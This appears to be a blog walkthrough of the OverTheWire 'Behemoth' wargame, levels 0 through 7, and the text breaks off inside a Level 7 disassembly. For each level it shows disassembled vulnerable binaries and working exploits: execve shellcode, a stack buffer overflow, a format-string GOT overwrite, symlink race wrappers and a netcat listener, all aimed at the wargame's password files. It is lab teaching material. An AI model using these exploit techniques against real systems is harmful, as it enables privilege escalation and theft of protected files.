Over the Wire: Behemoth
Written by Paco Pascal, on 17 May 2022.
Tags:
#security
Table of Contents
About this Document
This document is a light-weight walk-through for solving the wargame named Behemoth which is provided by "Over The Wire". It consists of elementary security vulnerabilities on the 32 bit x86 platform. You can find the wargame here.
Each level consists of one vulnerable program, that can be exploited to escalate privileges and capture the password for the next level.
The format of this document is to present the vulnerability followed by one possible exploit. No attempt is made to explain generic knowledge such as C, GDB, or how the exploits work.
All passwords are omitted.
Code & Conventions Used Throughout
The working directories throughout the outline are generated by cd
$(mktemp -d)
. However, everything is presented in a relative manner.
All passwords are kept in /etc/behemoth_pass/
.
Two pieces of code will be reused across levels. One being shellcode
and the other being getenvaddr
.
Shellcode
Because we only care about getting the passwords by reading a file
located in /etc/behemoth_pass/
, we don't care about spawning a shell
(unless we're forced to for some reason). Therefore, our shellcode
executes /bin/cat
to print the contents of
/etc/behemoth_pass/behemothX
to standard out. The X
at the end of
the path is replaced by the appropriate level, which makes this
shellcode easily reusable for any level that calls for it.
shellcode.asm
1: BITS 32 2: 3: xor eax, eax ; Our null byte 4: push eax 5: 6: mov edx, esp ; Save the address of our null byte 7: push "/cat" 8: push "/bin" ; Pushes "/bin/cat\0" on the stack 9: mov ebx, esp ; Keep the address of "/bin/cat\0" 10: 11: push eax ; push "\0" 12: push "othX" ; Change the X to the correct level number 13: push "ehem" 14: push "///b" 15: push "pass" 16: push "oth_" 17: push "ehem" 18: push "///b" 19: push "/etc" ; Creates "/etc///behemoth_pass///behemothX\0" 20: mov ebp, esp ; Save 21: 22: push eax ; NULL 23: push ebp ; Pointer to "/etc///behemoth_pass///behemothX\0" 24: push ebx ; Pointer to "/bin/cat\0" 25: mov ecx, esp ; Pointer to array of strings that's terminated with NULL 26: 27: mov al, 11 ; execve("/bin/cat", (char*[]) {"/bin/cat", "/etc///behemoth_pass///behemothX", NULL}, (char*[]) {NULL}); 28: int 0x80
Compiling
Edit line 12 by replacing X
with the correct level number. Then use
NASM to assemble the shellcode.
1: $ nasm -o shellcode -f bin shellcode.asm
Environment Variables
The environment variable EGG
will be used to store shellcode. In
order to get the address of our environment variable, we'll use
getenvaddr.c
. This code is taken from Jon Erikson's book "Hacking:
The Art of Exploitation".
getenvaddr.c
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char** argv) { const char* ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2]))*2; printf("%x\n", ptr); return 0; }
Compiling
To compile this, do the following:
1: $ gcc -m32 -o getenvaddr getenvaddr.c
Level 0
The Vulnerability
When the program is ran, the user is prompted for a password. The user given password is checked against a hard-coded string. This string is the password that causes the program to continue it's normal execution and spawns a shell. Line 48 is where a shell owned by behemoth1 would be spawned if the correct password is given.
Line 33 is where the string comparison happens between the given
password and the correct password. You can see our input string is
stored in $ebp-0x5d
and the correct password is stored in
$ebp-1c
. However, it is "encrypted". The function for encrypting and
decrypting the password is memfrob
.
1: 080485b1 <main>: 2: 80485b1: 55 push ebp 3: 80485b2: 89 e5 mov ebp,esp 4: 80485b4: 53 push ebx 5: 80485b5: 83 ec 5c sub esp,0x5c 6: 80485b8: c7 45 e4 4f 4b 5e 47 mov DWORD PTR [ebp-0x1c],0x475e4b4f 7: 80485bf: c7 45 e8 53 59 42 45 mov DWORD PTR [ebp-0x18],0x45425953 8: 80485c6: c7 45 ec 58 5e 59 00 mov DWORD PTR [ebp-0x14],0x595e58 9: 80485cd: c7 45 f8 00 87 04 08 mov DWORD PTR [ebp-0x8],0x8048700 10: 80485d4: c7 45 f4 18 87 04 08 mov DWORD PTR [ebp-0xc],0x8048718 11: 80485db: c7 45 f0 2d 87 04 08 mov DWORD PTR [ebp-0x10],0x804872d 12: 80485e2: 68 41 87 04 08 push 0x8048741 13: 80485e7: e8 14 fe ff ff call 8048400 <printf@plt> 14: 80485ec: 83 c4 04 add esp,0x4 15: 80485ef: 8d 45 a3 lea eax,[ebp-0x5d] 16: 80485f2: 50 push eax 17: 80485f3: 68 4c 87 04 08 push 0x804874c 18: 80485f8: e8 73 fe ff ff call 8048470 <__isoc99_scanf@plt> 19: 80485fd: 83 c4 08 add esp,0x8 20: 8048600: 8d 45 e4 lea eax,[ebp-0x1c] 21: 8048603: 50 push eax 22: 8048604: e8 47 fe ff ff call 8048450 <strlen@plt> 23: 8048609: 83 c4 04 add esp,0x4 24: 804860c: 50 push eax 25: 804860d: 8d 45 e4 lea eax,[ebp-0x1c] 26: 8048610: 50 push eax 27: 8048611: e8 75 ff ff ff call 804858b <memfrob> 28: 8048616: 83 c4 08 add esp,0x8 29: 8048619: 8d 45 e4 lea eax,[ebp-0x1c] 30: 804861c: 50 push eax 31: 804861d: 8d 45 a3 lea eax,[ebp-0x5d] 32: 8048620: 50 push eax 33: 8048621: e8 ca fd ff ff call 80483f0 <strcmp@plt> 34: 8048626: 83 c4 08 add esp,0x8 35: 8048629: 85 c0 test eax,eax 36: 804862b: 75 32 jne 804865f <main+0xae> 37: 804862d: 68 51 87 04 08 push 0x8048751 38: 8048632: e8 e9 fd ff ff call 8048420 <puts@plt> 39: 8048637: 83 c4 04 add esp,0x4 40: 804863a: e8 d1 fd ff ff call 8048410 <geteuid@plt> 41: 804863f: 89 c3 mov ebx,eax 42: 8048641: e8 ca fd ff ff call 8048410 <geteuid@plt> 43: 8048646: 53 push ebx 44: 8048647: 50 push eax 45: 8048648: e8 f3 fd ff ff call 8048440 <setreuid@plt> 46: 804864d: 83 c4 08 add esp,0x8 47: 8048650: 68 62 87 04 08 push 0x8048762 48: 8048655: e8 d6 fd ff ff call 8048430 <system@plt> 49: 804865a: 83 c4 04 add esp,0x4 50: 804865d: eb 0d jmp 804866c <main+0xbb> 51: 804865f: 68 6a 87 04 08 push 0x804876a 52: 8048664: e8 b7 fd ff ff call 8048420 <puts@plt> 53: 8048669: 83 c4 04 add esp,0x4 54: 804866c: b8 00 00 00 00 mov eax,0x0 55: 8048671: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4] 56: 8048674: c9 leave 57: 8048675: c3 ret
The Exploit
We can open up a debugger and either set a breakpoint at strcmp
and
look at the decrypted string or we can call memfrob
on the string
and look at it. We'll do the latter because it's a little more
educational.
There's some initializing on $ebp-0x1c
happening at the beginning of
main
. (You can see this above on lines 6 through 11.) Because of
this, we'll set the breakpoint at printf
and then do our work. Let's
check the length of $ebp-0x1c
and call memfrob
.
1: $ gdb -q /behemoth/behemoth0 2: Reading symbols from /behemoth/behemoth0...(no debugging symbols found)...done. 3: (gdb) b printf 4: Breakpoint 1 at 0x8048400 5: (gdb) r 6: Starting program: /behemoth/behemoth0 7: 8: Breakpoint 1, 0xf7e5b7d0 in printf () from /lib32/libc.so.6
At this point, the the password string is initialized at $ebp-0x1c
but it's encrypted. We can see the encrypted string by doing,
1: (gdb) x/s $ebp-0x1c 2: 0xffffd6ac: "OK^GSYBEX^Y"
Now let's decrypted it by calling memfrob
. If you look at what's
happening, you'll see that memfrob
takes 2 arguments; the first
being a pointer to a string and the second being the length of the
string. Therefore, in order to call memfrob
, we need the length of
$ebp-0x1c
. We can get this by calling strlen
.
1: (gdb) call strlen($ebp-0x1c) 2: $1 = 11 3: (gdb) call memfrob($ebp-0x1c, 11) 4: $2 = 0 5: (gdb) x/s $ebp-0x1c 6: 0xffffd6ac: "eatmyshorts" 7: (gdb) quit 8: A debugging session is active. 9: 10: Inferior 1 [process 16747] will be killed. 11: 12: Quit anyway? (y or n) y
Now that we have what we think is the password, we can test it.
1: $ /behemoth/behemoth0 2: Password: eatmyshorts 3: Access granted.. 4: $ whoami 5: behemoth1 6: $
Now we have the correct privileges to read
/etc/behemoth_pass/behemoth1
.
Level 1
The Vulnerability
A classic buffer overflow on the stack.
User input is being written to a buffer on the stack with gets
that
is 0x43 (67) bytes long. Therefore, this is vulnerable to over writing
the return address of main
.
1: 0804844b <main>: 2: 804844b: 55 push ebp 3: 804844c: 89 e5 mov ebp,esp 4: 804844e: 83 ec 44 sub esp,0x44 5: 8048451: 68 00 85 04 08 push 0x8048500 6: 8048456: e8 a5 fe ff ff call 8048300 <printf@plt> 7: 804845b: 83 c4 04 add esp,0x4 8: 804845e: 8d 45 bd lea eax,[ebp-0x43] 9: 8048461: 50 push eax 10: 8048462: e8 a9 fe ff ff call 8048310 <gets@plt> 11: 8048467: 83 c4 04 add esp,0x4 12: 804846a: 68 0c 85 04 08 push 0x804850c 13: 804846f: e8 ac fe ff ff call 8048320 <puts@plt> 14: 8048474: 83 c4 04 add esp,0x4 15: 8048477: b8 00 00 00 00 mov eax,0x0 16: 804847c: c9 leave 17: 804847d: c3 ret
The Exploit
We'll put our shellcode in $EGG
and overwrite the return address from
main
to point to $EGG
.
1: $ export EGG=$(cat shellcode) 2: $ ./getenvaddr EGG /behemoth/behemoth1 3: ffffda2d
Because the x86 architecture is little endian, we have to put the bytes in the correct order. The low-order byte goes first and the high-order byte last.
1: $ printf "%s\x2d\xda\xff\xff" $(python -c "print('A' * 71)") | /behemoth/behemoth1 2: Password: Authentication failure. 3: Sorry. 4: XXXXXXXXXX 5: $
The shellcode displays the contents of
/etc/behemoth_pass/behemoth2
, which I have censored here.
Level 2
The Vulnerability
This awkward program has a vulnerable race condition. It tries to create a file who's filename is the PID of the process creating it. Then the program sleeps for 33.3 minutes. When it wakes up, it prints out the contents of the file it created.
Therefore, if we can replace the created file with a symbolic link
that points to /etc/behemoth_pass/behemoth3
, then we can possibly
captured the password.
1: 0804856b <main>: 2: 804856b: 8d 4c 24 04 lea ecx,[esp+0x4] 3: 804856f: 83 e4 f0 and esp,0xfffffff0 4: 8048572: ff 71 fc push DWORD PTR [ecx-0x4] 5: 8048575: 55 push ebp 6: 8048576: 89 e5 mov ebp,esp 7: 8048578: 53 push ebx 8: 8048579: 51 push ecx 9: 804857a: 83 c4 80 add esp,0xffffff80 10: 804857d: e8 7e fe ff ff call 8048400 <getpid@plt> 11: 8048582: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 12: 8048585: 8d 45 dc lea eax,[ebp-0x24] 13: 8048588: 83 c0 06 add eax,0x6 14: 804858b: 89 45 f0 mov DWORD PTR [ebp-0x10],eax 15: 804858e: 83 ec 04 sub esp,0x4 16: 8048591: ff 75 f4 push DWORD PTR [ebp-0xc] 17: 8048594: 68 10 87 04 08 push 0x8048710 18: 8048599: 8d 45 dc lea eax,[ebp-0x24] 19: 804859c: 50 push eax 20: 804859d: e8 9e fe ff ff call 8048440 <sprintf@plt> 21: 80485a2: 83 c4 10 add esp,0x10 22: 80485a5: 83 ec 08 sub esp,0x8 23: 80485a8: 8d 85 78 ff ff ff lea eax,[ebp-0x88] 24: 80485ae: 50 push eax 25: 80485af: ff 75 f0 push DWORD PTR [ebp-0x10] 26: 80485b2: e8 19 01 00 00 call 80486d0 <__lstat> 27: 80485b7: 83 c4 10 add esp,0x10 28: 80485ba: 25 00 f0 00 00 and eax,0xf000 29: 80485bf: 3d 00 80 00 00 cmp eax,0x8000 30: 80485c4: 74 36 je 80485fc <main+0x91> 31: 80485c6: 83 ec 0c sub esp,0xc 32: 80485c9: ff 75 f0 push DWORD PTR [ebp-0x10] 33: 80485cc: e8 1f fe ff ff call 80483f0 <unlink@plt> 34: 80485d1: 83 c4 10 add esp,0x10 35: 80485d4: e8 07 fe ff ff call 80483e0 <geteuid@plt> 36: 80485d9: 89 c3 mov ebx,eax 37: 80485db: e8 00 fe ff ff call 80483e0 <geteuid@plt> 38: 80485e0: 83 ec 08 sub esp,0x8 39: 80485e3: 53 push ebx 40: 80485e4: 50 push eax 41: 80485e5: e8 36 fe ff ff call 8048420 <setreuid@plt> 42: 80485ea: 83 c4 10 add esp,0x10 43: 80485ed: 83 ec 0c sub esp,0xc 44: 80485f0: 8d 45 dc lea eax,[ebp-0x24] 45: 80485f3: 50 push eax 46: 80485f4: e8 17 fe ff ff call 8048410 <system@plt> 47: 80485f9: 83 c4 10 add esp,0x10 48: 80485fc: 83 ec 0c sub esp,0xc 49: 80485ff: 68 d0 07 00 00 push 0x7d0 50: 8048604: e8 c7 fd ff ff call 80483d0 <sleep@plt> 51: 8048609: 83 c4 10 add esp,0x10 52: 804860c: 8d 45 dc lea eax,[ebp-0x24] 53: 804860f: c7 00 63 61 74 20 mov DWORD PTR [eax],0x20746163 54: 8048615: c6 40 04 00 mov BYTE PTR [eax+0x4],0x0 55: 8048619: c6 45 e0 20 mov BYTE PTR [ebp-0x20],0x20 56: 804861d: e8 be fd ff ff call 80483e0 <geteuid@plt> 57: 8048622: 89 c3 mov ebx,eax 58: 8048624: e8 b7 fd ff ff call 80483e0 <geteuid@plt> 59: 8048629: 83 ec 08 sub esp,0x8 60: 804862c: 53 push ebx 61: 804862d: 50 push eax 62: 804862e: e8 ed fd ff ff call 8048420 <setreuid@plt> 63: 8048633: 83 c4 10 add esp,0x10 64: 8048636: 83 ec 0c sub esp,0xc 65: 8048639: 8d 45 dc lea eax,[ebp-0x24] 66: 804863c: 50 push eax 67: 804863d: e8 ce fd ff ff call 8048410 <system@plt> 68: 8048642: 83 c4 10 add esp,0x10 69: 8048645: b8 00 00 00 00 mov eax,0x0 70: 804864a: 8d 65 f8 lea esp,[ebp-0x8] 71: 804864d: 59 pop ecx 72: 804864e: 5b pop ebx 73: 804864f: 5d pop ebp 74: 8048650: 8d 61 fc lea esp,[ecx-0x4] 75: 8048653: c3 ret
The Exploit
Because the process is running as behemoth3, we need to ensure the
process has permission to write to the directories and files we
need. To accomplish this, we'll make a new directory and give it 777
permissions. Then we'll make a file called pass.txt
and give it the
same permissions.
1: $ mkdir w 2: $ chmod 777 3: $ cd w 4: $ touch pass.txt 5: $ chmod 777 pass.txt
This hack will take 33.3 minutes to complete. Because we don't want to
sit here watching for a password to pop up, we'll run the process in
the background and pipe the output to pass.txt
. After we start the
process, we'll know the PID and hence know the filename we need to
overwrite with a symbolic link.
1: $ behemoth/behemoth2 > pass.txt & 2: [1] 29355 3: $ ln -sf /etc/behemoth_pass/behemoth3 29355
We can run the following shell script snippet to sound the bell when the process has ended.
1: $ while (2>&1 kill -0 29355 | grep permitted > /dev/null); do 2: > echo "Process still running..." 3: > sleep 5 4: > done; \ 5: > echo -ne '\007'; \ # Ring the bell 6: > cat pass.txt
Level 3
The Vulnerability
This level has a format string vulnerability. The user is prompted for
input and that input is passed directly to printf
. Therefore, a user
can inject formatting syntax that printf
understands.
This can be used to overwrite parts of memory using the %n
specifier; which implies we can overwrite a return address, parts of
the .plt
section or something else we choose.
Looking at the disassembly of main
, we see puts
is called at
address 0x80484cc
.
1: 0804847b <main>: 2: 804847b: 55 push ebp 3: 804847c: 89 e5 mov ebp,esp 4: 804847e: 81 ec c8 00 00 00 sub esp,0xc8 5: 8048484: 68 60 85 04 08 push 0x8048560 6: 8048489: e8 a2 fe ff ff call 8048330 <printf@plt> 7: 804848e: 83 c4 04 add esp,0x4 8: 8048491: a1 c0 97 04 08 mov eax,ds:0x80497c0 9: 8048496: 50 push eax 10: 8048497: 68 c8 00 00 00 push 0xc8 11: 804849c: 8d 85 38 ff ff ff lea eax,[ebp-0xc8] 12: 80484a2: 50 push eax 13: 80484a3: e8 98 fe ff ff call 8048340 <fgets@plt> 14: 80484a8: 83 c4 0c add esp,0xc 15: 80484ab: 68 74 85 04 08 push 0x8048574 16: 80484b0: e8 7b fe ff ff call 8048330 <printf@plt> 17: 80484b5: 83 c4 04 add esp,0x4 18: 80484b8: 8d 85 38 ff ff ff lea eax,[ebp-0xc8] 19: 80484be: 50 push eax 20: 80484bf: e8 6c fe ff ff call 8048330 <printf@plt> 21: 80484c4: 83 c4 04 add esp,0x4 22: 80484c7: 68 7e 85 04 08 push 0x804857e 23: 80484cc: e8 7f fe ff ff call 8048350 <puts@plt> 24: 80484d1: 83 c4 04 add esp,0x4 25: 80484d4: b8 00 00 00 00 mov eax,0x0 26: 80484d9: c9 leave 27: 80484da: c3 ret
Because the program is calling puts
from a dynamically loaded
library, it needs to know how to find the address where puts
resides. This information is supplied by the .plt
section.
1: 08048350 <puts@plt>: 2: 8048350: ff 25 ac 97 04 08 jmp DWORD PTR ds:0x80497ac 3: 8048356: 68 10 00 00 00 push 0x10 4: 804835b: e9 c0 ff ff ff jmp 8048320 <.plt>
We can see from the above disassembly that the pointer to puts
is
0x80497ac
.
The Exploit
Let's first prepare our shellcode.
1: $ export EGG=$(cat shellcode) 2: $ ./getenvaddr EGG /behemoth/behemoth3 3: ffffde2d
From the .plt
section, we know the pointer for puts
is
0x80497ac
. We'll overwrite the value in two steps. First overwriting
2 bytes at 0x80497ac
. Then overwriting 2 bytes at 0x80497ae
. The
order matters. The %n
specifier writes 4 bytes (an unsigned int) and
we don't want to overwrite the upper 2 bytes of our address when
writing the lower two bytes.
Our string for printf
will conceptually consist of two parts. The
first is "\xac\x97\x04\x08\xae\x97\x04\x08"
which will act as
pointers for %n
. The second part will have this structure
"%c%1$n%c%2$n"
. We just have to figure out how many chars to print
so that %n
will write the correct value.
If we use the strings above as they are, the lower 2 bytes would be written with 0x09 and the upper 2 bytes would be 0x0a. We need the lower 2 bytes to be 0xde2d. Therefore, we need to write 56869 (0xde25) more characters and then 8658 (0x21d2) more characters for the last 2 bytes.
The final result looks like this:
1: $ printf '\xac\x97\x04\x08\xae\x97\x04\x08%%56869c%%1$n%%8658c%%2$n' | /behemoth/behemoth3 2: 3: XXXXXXXXXX
Level 4
The Vulnerability
This level is very similar to level 2. The program is trying to open a
file that's named after it's PID. Then it prints out the file
contents. We can see in the beginning of main
, getpid
is called
(at 0x804858c) and the result is stored in $ebp-0xc
. Soon after, the
value is used in sprintf
to create some new string. You can quickly
see that the format string for sprintf
is "/tmp/%d"
.
1: 0804857b <main>: 2: 804857b: 8d 4c 24 04 lea ecx,[esp+0x4] 3: 804857f: 83 e4 f0 and esp,0xfffffff0 4: 8048582: ff 71 fc push DWORD PTR [ecx-0x4] 5: 8048585: 55 push ebp 6: 8048586: 89 e5 mov ebp,esp 7: 8048588: 51 push ecx 8: 8048589: 83 ec 24 sub esp,0x24 9: 804858c: e8 6f fe ff ff call 8048400 <getpid@plt> 10: 8048591: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 11: 8048594: 83 ec 04 sub esp,0x4 12: 8048597: ff 75 f4 push DWORD PTR [ebp-0xc] 13: 804859a: 68 c0 86 04 08 push 0x80486c0 14: 804859f: 8d 45 d8 lea eax,[ebp-0x28] 15: 80485a2: 50 push eax 16: 80485a3: e8 b8 fe ff ff call 8048460 <sprintf@plt> 17: 80485a8: 83 c4 10 add esp,0x10 18: 80485ab: 83 ec 08 sub esp,0x8 19: 80485ae: 68 c8 86 04 08 push 0x80486c8 20: 80485b3: 8d 45 d8 lea eax,[ebp-0x28] 21: 80485b6: 50 push eax 22: 80485b7: e8 74 fe ff ff call 8048430 <fopen@plt>
Then there's some yada-yada (that's a technical term) and the content is read and spit out.
1: 80485bc: 83 c4 10 add esp,0x10 2: 80485bf: 89 45 f0 mov DWORD PTR [ebp-0x10],eax 3: 80485c2: 83 7d f0 00 cmp DWORD PTR [ebp-0x10],0x0 4: 80485c6: 75 12 jne 80485da <main+0x5f> 5: 80485c8: 83 ec 0c sub esp,0xc 6: 80485cb: 68 ca 86 04 08 push 0x80486ca 7: 80485d0: e8 3b fe ff ff call 8048410 <puts@plt> 8: 80485d5: 83 c4 10 add esp,0x10 9: 80485d8: eb 52 jmp 804862c <main+0xb1> 10: 80485da: 83 ec 0c sub esp,0xc 11: 80485dd: 6a 01 push 0x1 12: 80485df: e8 0c fe ff ff call 80483f0 <sleep@plt> 13: 80485e4: 83 c4 10 add esp,0x10 14: 80485e7: 83 ec 0c sub esp,0xc 15: 80485ea: 68 d9 86 04 08 push 0x80486d9 16: 80485ef: e8 1c fe ff ff call 8048410 <puts@plt> 17: 80485f4: 83 c4 10 add esp,0x10 18: 80485f7: eb 0e jmp 8048607 <main+0x8c> 19: 80485f9: 83 ec 0c sub esp,0xc 20: 80485fc: ff 75 ec push DWORD PTR [ebp-0x14] 21: 80485ff: e8 3c fe ff ff call 8048440 <putchar@plt> 22: 8048604: 83 c4 10 add esp,0x10 23: 8048607: 83 ec 0c sub esp,0xc 24: 804860a: ff 75 f0 push DWORD PTR [ebp-0x10] 25: 804860d: e8 3e fe ff ff call 8048450 <fgetc@plt> 26: 8048612: 83 c4 10 add esp,0x10 27: 8048615: 89 45 ec mov DWORD PTR [ebp-0x14],eax 28: 8048618: 83 7d ec ff cmp DWORD PTR [ebp-0x14],0xffffffff 29: 804861c: 75 db jne 80485f9 <main+0x7e> 30: 804861e: 83 ec 0c sub esp,0xc 31: 8048621: ff 75 f0 push DWORD PTR [ebp-0x10] 32: 8048624: e8 b7 fd ff ff call 80483e0 <fclose@plt> 33: 8048629: 83 c4 10 add esp,0x10 34: 804862c: b8 00 00 00 00 mov eax,0x0 35: 8048631: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 36: 8048634: c9 leave 37: 8048635: 8d 61 fc lea esp,[ecx-0x4] 38: 8048638: c3 ret
Thus, if we know the PID we can create a symbolic link in /tmp/
that
points to /etc/behemoth_pass/behemoth5
.
The Exploit
The exploit is fairly straight forward. We'll implement a wrapper that
forks to capture the PID. The parent process will create the symlink
and the child will execute /behemoth/behemoth4
.
#include <stdio.h> #include <unistd.h> int main() { int pid = fork(); char file[] = "/tmp/XXXXXXXXXXXXXXXX"; if (pid == 0) { printf("Child is sleeping...\n"); sleep(5); printf("Child woke up!\n"); printf("Executing behemoth4"); execl("/behemoth/behemoth4", "behemoth4", NULL); } else { sprintf(file + sizeof("/tmp/") - 1, "%d", pid); printf("Making symlink: %s -> /etc/behemoth_pass/behemoth5\n", file); symlink("/etc/behemoth_pass/behemoth5", file); } return 0; }
We'll save this code exploit.c
and compile it.
1: $ gcc -o exploit exploit.c 2: $ ./exploit > pass.txt
Wait for 5 seconds and then,
1: $ cat pass.txt 2: Making symlink: /tmp/16830 -> /etc/behemoth_pass/behemoth5 3: Finished sleeping, fgetcing 4: XXXXXXXXXX
Level 5
The Vulnerability
I'm not going to post the entire disassembly because it's long and we don't need to reference most of it.
Immediately, the program is opening a file which happens to be the
password file we want to read, /etc/behemoth_pass/behemoth6
. The
strings 0x80489a0
and 0x80489a2
are "r"
and
/etc/behemoth_pass/behemoth6
respectively.
1: 0804872b <main>: 2: 804872b: 8d 4c 24 04 lea ecx,[esp+0x4] 3: 804872f: 83 e4 f0 and esp,0xfffffff0 4: 8048732: ff 71 fc push DWORD PTR [ecx-0x4] 5: 8048735: 55 push ebp 6: 8048736: 89 e5 mov ebp,esp 7: 8048738: 51 push ecx 8: 8048739: 83 ec 34 sub esp,0x34 9: 804873c: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0 10: 8048743: 83 ec 08 sub esp,0x8 11: 8048746: 68 a0 89 04 08 push 0x80489a0 12: 804874b: 68 a2 89 04 08 push 0x80489a2 13: 8048750: e8 5b fe ff ff call 80485b0 <fopen@plt>
So the question is, what is the program going to do with the file? The answer is read the contents and write those contents to a socket. Therefore, we need to know the socket type (such as TCP, UDP, or UNIX). In addition to this we need to know either the port or filename of the socket.
We can see that it's a connection-less socket over IP. The 0x2
at
0x8048834 refers to SOCK_DGRAM
and the 0x2
at 0x8048836 refers to
PF_INET
. Therefore, it's a UDP socket.
1: 8048832: 6a 00 push 0x0 2: 8048834: 6a 02 push 0x2 3: 8048836: 6a 02 push 0x2 4: 8048838: e8 b3 fd ff ff call 80485f0 <socket@plt>
The port number can be found here which ends up being 1337.
1: 804886c: 68 e4 89 04 08 push 0x80489e4 2: 8048871: e8 6a fd ff ff call 80485e0 <atoi@plt>
The Exploit
This will be extremely easy. We'll use netcat to listen on a UDP socket using port 1337.
1: $ nc -u -l -p 1337 > pass.txt & 2: [2] 18669 3: $ /behemoth/behemoth5 4: $ cat pass.txt 5: XXXXXXXXXX
Level 6
The Vulnerability
Level 6 consists of two executables, /behemoth/behemoth6
and
/behemoth/behemoth6_reader
. The former executes behemoth6_reader
with popen
and reads it's output. If the output matches
"HelloKitty", it spawns a shell owned behemoth7.
Therefore, to solve this level, we need to force behemoth6_reader
to
print out "HelloKitty". If we look at what behemoth6_reader
does, it
reads the contents of a filename "shellcode.txt" into memory and then
calls it as a function. However, if "shellcode.txt" has a 0xb byte, it
fails.
There are so many ways this can be exploited.
The Exploit
One solution is to write some shellcode that prints out "HelloKitty". The following shellcode accomplishes this:
1: BITS 32 2: %define PUTS [0x804a020] 3: push ebp 4: mov ebp,esp 5: xor eax, eax 6: push eax 7: push "itty" 8: push "lloK" 9: push "xxHe" 10: inc esp 11: inc esp 12: push esp 13: call PUTS 14: mov esp, ebp 15: pop ebp 16: ret
We need to make a directory that the user behemoth7 can access.
1: $ mkdir w 2: $ chmod 777 w 3: $ cd w
Now let's assemble our shellcode and run behemoth6
.
1: $ nasm -o shellcode.txt ../shellcode6.asm 2: $ /behemoth/behemoth6 3: Correct. 4: $ whoami 5: behemoth7 6: $ cat /etc/behemoth_pass/behemoth7 7: XXXXXXXXXX 8: $
Alternative Exploit
Just to make the point that there's more than one solution to these levels, I'll provide another method. The shellcode is running as behemoth7. Therefore we can directly access files owned by behemoth7 from the shellcode.
Instead of having our shellcode print out "HelloKitty", we can just
copy the contents of /etc/behemoth_pass/behemoth7
to a file
behemoth6 can read.
Here's shellcode that avoids the byte 0xb and executes a file named
X
in the local directory.
1: BITS 32 2: 3: xor eax, eax ; Our null byte 4: push eax 5: mov ecx, esp ; Array of {NULL} 6: mov edx, esp ; Array of {NULL} 7: push ".//X" 8: mov ebx, esp 9: inc al 10: add al, 10 ; Avoid 0xb 11: int 0x80
Let's write a C program called X.c
that will copy the password out
of /etc/behemoth_pass/behemoth7
and into pass.txt
.
#include <stdio.h> int main(int argc, char** argv) { const char* file = "/etc/behemoth_pass/behemoth7"; FILE* out = fopen("pass.txt", "w"); if (!out) return -1; FILE* in = fopen(file, "r"); if (!in) { fprintf(out, "Failed to open %s", file); fclose(out); return -1; } int c; while ((c = fgetc(in)) != EOF) fprintf(out, "%c", c); fclose(out); fclose(in); return 0; }
Now we'll assemble, compile, and run.
1: $ mkdir w 2: $ chmod 777 w 3: $ cd w 4: $ touch pass.txt 5: $ chmod 777 pass.txt 6: $ nasm -o shellcode.txt -f bin shellcode6.1.asm 7: $ gcc -m32 -o X X.c 8: $ /behemoth/behemoth6 9: Incorrect output. 10: $ cat pass.txt 11: XXXXXXXXXX
Level 7
The Vulnerability
This level uses the vulnerable strcpy
function. But it tries to
protect against us running shellcode by zeroing the memory that holds
all the environment variables. It also checks argv[1]
for
non-alphanumeric characters. If such characters are found, the process
exits before reaching strcpy
.
Notice I said argv[1]
is checked. It never checks argv[2]
and
beyond. Therefore, we can inject our shellcode there. The buffer size
that argv[1]
is copied into is 524 bytes.
1: 0804852b <main>: 2: 804852b: 55 push ebp 3: 804852c: 89 e5 mov ebp,esp 4: 804852e: 81 ec 0c 02 00 00 sub esp,0x20c 5: 8048534: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 6: 8048537: 8b 40 04 mov eax,DWORD PTR [eax+0x4] 7: 804853a: 89 45 fc mov DWORD PTR [ebp-0x4],eax 8: 804853d: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0 9: 8048544: eb 3d jmp 8048583 <main+0x58> 10: 8048546: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 11: 8048549: 8d 14 85 00 00 00 00 lea edx,[eax*4+0x0] 12: 8048550: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 13: 8048553: 01 d0 add eax,edx 14: 8048555: 8b 00 mov eax,DWORD PTR [eax] 15: 8048557: 50 push eax 16: 8048558: e8 73 fe ff ff call 80483d0 <strlen@plt> 17: 804855d: 83 c4 04 add esp,0x4 18: 8048560: 89 c2 mov edx,eax 19: 8048562: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 20: 8048565: 8d 0c 85 00 00 00 00 lea ecx,[eax*4+0x0] 21: 804856c: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 22: 804856f: 01 c8 add eax,ecx 23: 8048571: 8b 00 mov eax,DWORD PTR [eax] 24: 8048573: 52 push edx 25: 8048574: 6a 00 push 0x0 26: 8048576: 50 push eax 27: 8048577: e8 84 fe ff ff call 8048400 <memset@plt> 28: 804857c: 83 c4 0c add esp,0xc 29: 804857f: 83 45 f8 01 add DWORD PTR [ebp-0x8],0x1 30: 8048583: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 31: 8048586: 8d 14 85 00 00 00 00 lea edx,[eax*4+0x0] 32: 804858d: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 33: 8048590: 01 d0 add eax,edx 34: 8048592: 8b 00 mov eax,DWORD PTR [eax] 35: 8048594: 85 c0 test eax,eax 36: 8048596: 75 ae jne 8048546 <main+0x1b> 37: 8048598: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0 38: 804859f: 83 7d 08 01 cmp DWORD PTR [ebp+0x8],0x1 39: 80485a3: 0f 8e 9a 00 00 00 jle 8048643 <main+0x118> 40: 80485a9: eb 6d jmp 8048618 <main+0xed> 41: 80485ab: 83 45 f4 01 add DWORD PTR [ebp-0xc],0x1 42: 80485af: e8 5c fe ff ff call 8048410 <__ctype_b_loc@plt> 43: 80485b4: 8b 10 mov edx,DWORD PTR [eax] 44: 80485b6: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] 45: 80485b9: 0f b6 00 movzx eax,BYTE PTR [eax] 46: 80485bc: 0f be c0 movsx eax,al 47: 80485bf: 01 c0 add eax,eax 48: 80485c1: 01 d0 add eax,edx 49: 80485c3: 0f b7 00 movzx eax,WORD PTR [eax] 50: 80485c6: 0f b7 c0 